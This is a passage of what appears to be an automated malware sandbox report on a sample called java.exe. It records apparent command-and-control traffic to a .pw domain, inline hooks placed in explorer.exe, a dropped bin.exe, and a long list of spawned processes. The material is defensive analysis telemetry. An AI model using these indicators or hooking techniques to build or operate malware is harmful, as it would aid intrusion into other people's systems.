Jan 20, 2024 20:41:49.827227116 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: gfnlmtcolrrb.pw Content-Length: 157 Data Raw: b3 59 ba 92 98 51 ba 92 d8 c1 e0 ff b5 5b bb b1 83 69 8a a2 83 69 8a a2 Data Ascii: YQ[ii
Jan 20, 2024 20:41:49.982614040 CET	133	OUT	Data Raw: 00 80 00 00 00 63 f8 fe 18 78 37 ae ad 06 54 c8 93 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 0e 68 13 65 d1 aa eb f4 85 50 f8 88 5a c4 1c 6e f7 eb 64 56 3a af 7f e0 59 ab f5 9e d8 25 31 6c ec e4 dd 7f 27 ba 35 6d fc ff f8 78 f0 Data Ascii: cx7TYg6u#ahePZndV:Y%1l'5mx8{s Iwx7V98I,mqKG
Jan 20, 2024 20:41:50.140456915 CET	137	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Sat, 20 Jan 2024 19:41:50 GMT Content-Type: application/octet-stream Connection: close
Jan 20, 2024 20:41:50.140474081 CET	1	IN	Data Raw: 51 Data Ascii: Q
Jan 20, 2024 20:41:56.085191011 CET	1	IN	Data Raw: 74 Data Ascii: t
Jan 20, 2024 20:42:02.088078022 CET	1	IN	Data Raw: 61 Data Ascii: a
Jan 20, 2024 20:42:08.086219072 CET	1	IN	Data Raw: 4d Data Ascii: M
Jan 20, 2024 20:42:14.087224960 CET	1	IN	Data Raw: 57 Data Ascii: W
Jan 20, 2024 20:42:20.087171078 CET	1	IN	Data Raw: 61 Data Ascii: a
Jan 20, 2024 20:42:26.083926916 CET	1	IN	Data Raw: 4b Data Ascii: K
Jan 20, 2024 20:42:32.096539021 CET	1	IN	Data Raw: 64 Data Ascii: d
Jan 20, 2024 20:42:38.086131096 CET	1	IN	Data Raw: 4f Data Ascii: O

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	173.222.162.32	443	4984	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-20 19:41:14 UTC	2301	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A4109000CC6 X-BM-CBT: 1696420817 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 60 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: 0912CF9094994CFA88DE52C6FB19D4E1 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109000CC6 X-MSEdge-ExternalExp: bfbwsbrs0830tf,d-thshldspcl40,msbdsborgv2co,msbwdsbi920t1,spofglclicksh-c2,webtophit0r_t,wsbmsaqfuxtc,wsbqfasmsall_t,wsbqfminiserp400,wsbref-t X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=0; DaylightBias=-60; TimeZoneKeyName=GMT Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2237 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=6666694284484FA1B35CCB433D42E997; _SS=SID=193A581F83766B4319784BBF829B6A16&CPID=1696420820117&AC=1&CPH=e5c79613&CBV=39942242; _EDGE_S=SID=193A581F83766B4319784BBF829B6A16; SRCHUID=V=2&GUID=BA43D82178364AEA9C1EE6C32BE93416&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231003; SRCHHPGUSR=SRCHLANG=en&LUT=1696420817741&IPMH=425591ef&IPMID=1696420817913&HV=1696417346; ANON=A=6D8F9DF00282E660E425530EFFFFFFFF; CortanaAppUID=4C9C2B2D0465FD7A42C74C7E93CFB630; MUIDB=6666694284484FA1B35CCB433D42E997
2024-01-20 19:41:14 UTC	2237	OUT	Data Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 36 36 36 36 36 39 34 32 38 34 34 38 34 46 41 31 42 33 35 43 43 42 34 33 33 44 34 32 45 39 39 37 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 38 39 32 46 41 30 37 38 38 36 34 31 34 42 44 46 38 45 45 31 37 36 34 41 35 39 46 46 33 39 43 36 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 Data Ascii: <ClientInstRequest><CID>6666694284484FA1B35CCB433D42E997</CID><Events><E><T>Event.ClientInst</T><IG>892FA07886414BDF8EE1764A59FF39C6</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"C
2024-01-20 19:41:15 UTC	476	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: CF9ECD651A424BE58C4A719B779CD7A9 Ref B: LAXEDGE1720 Ref C: 2024-01-20T19:41:15Z Date: Sat, 20 Jan 2024 19:41:15 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.20a6dc17.1705779675.1a1d24f5

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwResumeThread	INLINE	explorer.exe
NtQueryDirectoryFile	INLINE	explorer.exe
ZwEnumerateValueKey	INLINE	explorer.exe
NtResumeThread	INLINE	explorer.exe
ZwCreateUserProcess	INLINE	explorer.exe
NtEnumerateValueKey	INLINE	explorer.exe
NtCreateUserProcess	INLINE	explorer.exe
ZwQueryDirectoryFile	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwResumeThread	INLINE	0xE9 0x9E 0xE1 0x12 0x25 0x51
NtQueryDirectoryFile	INLINE	0xE9 0x98 0x81 0x12 0x29 0x91
ZwEnumerateValueKey	INLINE	0xE9 0x9C 0xC1 0x12 0x2D 0xD1
NtResumeThread	INLINE	0xE9 0x9E 0xE1 0x12 0x25 0x51
ZwCreateUserProcess	INLINE	0xE9 0x93 0x31 0x11 0x17 0x71
NtEnumerateValueKey	INLINE	0xE9 0x9C 0xC1 0x12 0x2D 0xD1
NtCreateUserProcess	INLINE	0xE9 0x93 0x31 0x11 0x17 0x71
ZwQueryDirectoryFile	INLINE	0xE9 0x98 0x81 0x12 0x29 0x91

Target ID:	0
Start time:	20:40:52
Start date:	20/01/2024
Path:	C:\Users\user\Desktop\java.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\java.exe
Imagebase:	0x400000
File size:	112'768 bytes
MD5 hash:	B471D5F706DF69A4A28664D7E335A9DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:40:52
Start date:	20/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:40:52
Start date:	20/01/2024
Path:	C:\Windows\SysWOW64\winver.exe
Wow64 process (32bit):	true
Commandline:	winver
Imagebase:	0x330000
File size:	57'344 bytes
MD5 hash:	B5471B0FB5402FC318C82C994C6BF84D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	20:40:53
Start date:	20/01/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	20:41:01
Start date:	20/01/2024
Path:	C:\Windows\System32\sihost.exe
Wow64 process (32bit):	false
Commandline:	sihost.exe
Imagebase:	0x7ff796ef0000
File size:	111'616 bytes
MD5 hash:	A21E7719D73D0322E2E7D61802CB8F80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	20:41:01
Start date:	20/01/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:41:01
Start date:	20/01/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s WpnUserService
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	20:41:02
Start date:	20/01/2024
Path:	C:\Windows\System32\ctfmon.exe
Wow64 process (32bit):	false
Commandline:	ctfmon.exe
Imagebase:	0x7ff7e3b00000
File size:	11'264 bytes
MD5 hash:	B625C18E177D5BEB5A6F6432CCF46FB3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	20:41:02
Start date:	20/01/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:41:02
Start date:	20/01/2024
Path:	C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
Imagebase:	0x7ff7da970000
File size:	793'416 bytes
MD5 hash:	5CDDF06A40E89358807A2B9506F064D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:41:04
Start date:	20/01/2024
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	20:41:04
Start date:	20/01/2024
Path:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
Imagebase:	0x7ff6fdaa0000
File size:	3'671'400 bytes
MD5 hash:	5E1C9231F1F1DCBA168CA9F3227D9168
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	20:41:13
Start date:	20/01/2024
Path:	C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe"
Imagebase:	0x400000
File size:	112'768 bytes
MD5 hash:	CC18A03FCBC9DCF9DF31B64689EB3E55
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	20:41:13
Start date:	20/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	20:41:18
Start date:	20/01/2024
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	20:41:19
Start date:	20/01/2024
Path:	C:\Windows\System32\smartscreen.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\smartscreen.exe -Embedding
Imagebase:	0x7ff7d45b0000
File size:	2'378'752 bytes
MD5 hash:	02FB7069B8D8426DC72C9D8A495AF55A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	20:41:20
Start date:	20/01/2024
Path:	C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXjd5de1g66v206tj52m9d0dtpppx4cgpn.mca
Imagebase:	0x7ff794e20000
File size:	19'232 bytes
MD5 hash:	F050189D49E17D0D340DE52E9E5B711F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	20:41:21
Start date:	20/01/2024
Path:	C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe"
Imagebase:	0x400000
File size:	112'768 bytes
MD5 hash:	CC18A03FCBC9DCF9DF31B64689EB3E55
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	20:41:21
Start date:	20/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	20:41:21
Start date:	20/01/2024
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	20:41:23
Start date:	20/01/2024
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	20:41:23
Start date:	20/01/2024
Path:	C:\Windows\System32\ApplicationFrameHost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\ApplicationFrameHost.exe -Embedding
Imagebase:	0x7ff7d5d50000
File size:	78'456 bytes
MD5 hash:	D58A8A987A8DAFAD9DC32A548CC061E7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	20:41:27
Start date:	20/01/2024
Path:	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe" -ServerName:App.AppXc75wvwned5vhz4xyxxecvgdjhdkgsdza.mca
Imagebase:	0x7ff63cc40000
File size:	19'456 bytes
MD5 hash:	6C44453CD661FC2DB18E4C09C4940399
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	20:41:28
Start date:	20/01/2024
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	20:41:28
Start date:	20/01/2024
Path:	C:\Windows\ImmersiveControlPanel\SystemSettings.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel
Imagebase:	0x7ff614e70000
File size:	98'104 bytes
MD5 hash:	3CD3CD85226FCF576DFE9B70B6DA2630
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	20:41:31
Start date:	20/01/2024
Path:	C:\Windows\System32\oobe\UserOOBEBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
Imagebase:	0x7ff69a060000
File size:	57'856 bytes
MD5 hash:	BCE744909EB87F293A85830D02B3D6EB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	20:41:32
Start date:	20/01/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	20:41:32
Start date:	20/01/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	20:41:33
Start date:	20/01/2024
Path:	C:\Windows\SysWOW64\cscript.exe
Wow64 process (32bit):	true
Commandline:	"cscript" "C:\Program Files (x86)\Microsoft Office\Office16\OSPP.VBS" /dstatus
Imagebase:	0xc60000
File size:	144'896 bytes
MD5 hash:	CB601B41D4C8074BE8A84AED564A94DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	20:41:33
Start date:	20/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0x4
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	20:41:33
Start date:	20/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0x4
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	20:41:34
Start date:	20/01/2024
Path:	C:\Windows\System32\backgroundTaskHost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppX4325622ft6437f3xfywcfxgbedfvpn0x.mca
Imagebase:	0x7ff6ec4b0000
File size:	19'776 bytes
MD5 hash:	DA7063B17DBB8BBB3015351016868006
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	20:41:34
Start date:	20/01/2024
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	20:41:35
Start date:	20/01/2024
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	20:41:35
Start date:	20/01/2024
Path:	C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe"
Imagebase:	0xba0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	20:41:35
Start date:	20/01/2024
Path:	C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe"
Imagebase:	0xba0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	20:41:36
Start date:	20/01/2024
Path:	C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe"
Imagebase:	0xba0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	20:41:36
Start date:	20/01/2024
Path:	C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe"
Imagebase:	0xba0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	20:41:36
Start date:	20/01/2024
Path:	C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe"
Imagebase:	0xba0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	20:41:36
Start date:	20/01/2024
Path:	C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe"
Imagebase:	0xba0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	20:41:37
Start date:	20/01/2024
Path:	C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe"
Imagebase:	0xba0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
